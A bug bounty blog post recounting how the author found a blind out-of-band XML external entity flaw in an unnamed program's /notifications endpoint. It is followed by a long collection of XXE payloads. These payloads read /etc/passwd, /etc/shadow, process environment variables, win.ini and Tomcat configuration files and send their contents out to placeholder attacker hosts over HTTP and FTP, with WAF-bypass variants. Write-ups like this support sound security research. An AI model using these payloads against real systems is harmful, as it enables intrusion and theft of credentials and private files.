Gaining Filesystem Access via Blind OOB XXE

Today, I’d like to share my methodology behind how I found a blind, out of band xml external entities attack in a private bug bounty program. I have redacted the necessary information to hide the program’s identity.

As with the beginning of any hunter’s quest, thorough recon is necessary to identify as many in-scope assets as possible. Through this recon, I was able discover a subdomain that caught my interest. I then brute forced the directories of the subdomain, and found the endpoint /notifications. Visiting this endpoint via a GET request resulted in the following page:

1xxe

I noticed in the response, the xml content-type along with an xml body containing XML SOAP syntax. Since I had no GET parameters to test, I decided to issue a POST request to the endpoint, finding that the body of the response had disappeared, with a response code of 200.

2xxe

Since the web application seemed to be responding well to the POST request, instead of the issuing a 405 Method Not Allowed error, I decided to issue a request containing xml syntax with the content-type: application/xml.

4xxe

The resulting response was also different than in the previous cases. This response was also in XML as it was when issuing the GET request to this endpoint. However this time, within the tags is the value “OK” instead of the original value “TestRequestCalled”. I also tried to send a json request to see how the application would respond. Below is the result.

json

Seeing as how the response was blank, as it was when issuing a POST request with no specified content type, I had a strong belief that the endpoint was processing XML data. This was enough for me to an set up my VPS to host a DTD file for the XML processor to “hopefully” parse. Below is the result of the dtd being successfully processed, with the requested file contents appended.

xxe6

I also used this script: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb to set up, and have an ftp server listening so I would also be able to extract the server’s information/file contents through the ftp protocol: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

xxe7

Although this submission was marked as a duplicate, I wanted to share this finding as it was a good learning experience, and I was able to examine how the application was responding to certain inputs without knowing its exact purpose/functionality. The original reporter received $8k for this issue.

Some helpful XXE payloads:


————————————————————–
Vanilla, used to verify outbound xxe or blind xxe
————————————————————–
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"&gt;
]>
<r>&sp;</r>
—————————————————————
OoB extraction
—————————————————————
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"&gt;
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"&gt;
—————————————————————-
OoB variation of above (seems to work better against .NET)
—————————————————————-
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"&gt;
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"&gt;
—————————————————————
OoB extraction
—————————————————————
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd"&gt;
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
———————————————————————–
OoB extra ERROR — Java
———————————————————————–
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd"&gt;
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
———————————————————————–
OoB extra nice
———————————————————————–
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml"&gt;
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
——————————————————————
File-not-found exception based extraction
——————————————————————
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part&quot; >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
————————-^ you might need to encode this % (depends on your target) as: &#x25;
————–
FTP
————–
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd"&gt;
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
—————————
Inside SOAP body
—————————
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"&gt; %dtd;]><xxx/>]]></foo></soap:Body>
—————————
Untested – WAF Bypass
—————————
<!DOCTYPE :. SYTEM "http://&quot;
<!DOCTYPE :_-_: SYTEM "http://&quot;
<!DOCTYPE {0xdfbf} SYSTEM "http://&quot;

view raw

XXE_payloads

hosted with ❤ by GitHub

Leave a comment